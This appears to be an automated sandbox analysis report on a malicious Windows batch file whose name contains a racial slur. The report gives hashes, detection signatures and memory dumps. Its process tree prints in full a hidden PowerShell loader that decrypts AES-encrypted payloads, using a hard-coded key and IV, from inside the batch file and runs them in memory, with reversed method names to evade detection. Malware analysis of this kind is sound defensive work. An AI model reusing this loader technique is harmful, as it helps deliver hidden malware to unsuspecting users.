Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20241023-en
  • resource tags

    arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
  • submitted
    10-01-2025 05:19

General

  • Target

    NiggaKernel.bat

  • Size

    1.8MB

  • MD5

    049e158c496e1d81b51d8c3e85d769dc

  • SHA1

    29717cc27f715c86e95b2027c87331c7b7f6a688

  • SHA256

    8a571346e3190daf5e2b5b30dea032feab8726dd423ec1446f0863d76cc9cd80

  • SHA512

    d81710454d8424e19b009b86d71938d101eee2a5b8b260a062d1931f59e1b38c0b05192b684c69218d46fee191744d7871c32e96376033347fa310274753163d

  • SSDEEP

    24576:6JTtOJAdMrNp8QL585hVGeA7TycnoAE33Lio++/q1Bm6dS585gL2n6:8rEtoA+7qa6f5zn6

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\NiggaKernel.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jeg6IKA3PYqnc0jqPYpEjYg5Ext6Gg7nONNSKtICfDs='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cP0G+VOQ29D99pgE3ouSrA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $lzJIU=New-Object System.IO.MemoryStream(,$param_var); $eCZeV=New-Object System.IO.MemoryStream; $RWNMt=New-Object System.IO.Compression.GZipStream($lzJIU, [IO.Compression.CompressionMode]::Decompress); $RWNMt.CopyTo($eCZeV); $RWNMt.Dispose(); $lzJIU.Dispose(); $eCZeV.Dispose(); $eCZeV.ToArray();}function execute_function($param_var,$param2_var){ $PUspL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WpQxW=$PUspL.EntryPoint; $WpQxW.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\NiggaKernel.bat';$bUeYL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\NiggaKernel.bat').Split([Environment]::NewLine);foreach ($vtAXs in $bUeYL) { if ($vtAXs.StartsWith(':: ')) { $ZmRZW=$vtAXs.Substring(3); break; }}$payloads_var=[string[]]$ZmRZW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2056

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2056-4-0x000007FEF5FBE000-0x000007FEF5FBF000-memory.dmp

    Filesize

    4KB

  • memory/2056-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

    Filesize

    2.9MB

  • memory/2056-6-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

    Filesize

    9.6MB

  • memory/2056-10-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

    Filesize

    9.6MB

  • memory/2056-9-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

    Filesize

    9.6MB

  • memory/2056-8-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

    Filesize

    9.6MB

  • memory/2056-7-0x0000000001F50000-0x0000000001F58000-memory.dmp

    Filesize

    32KB

  • memory/2056-11-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

    Filesize

    9.6MB

  • memory/2056-12-0x000007FEF5D00000-0x000007FEF669D000-memory.dmp

    Filesize

    9.6MB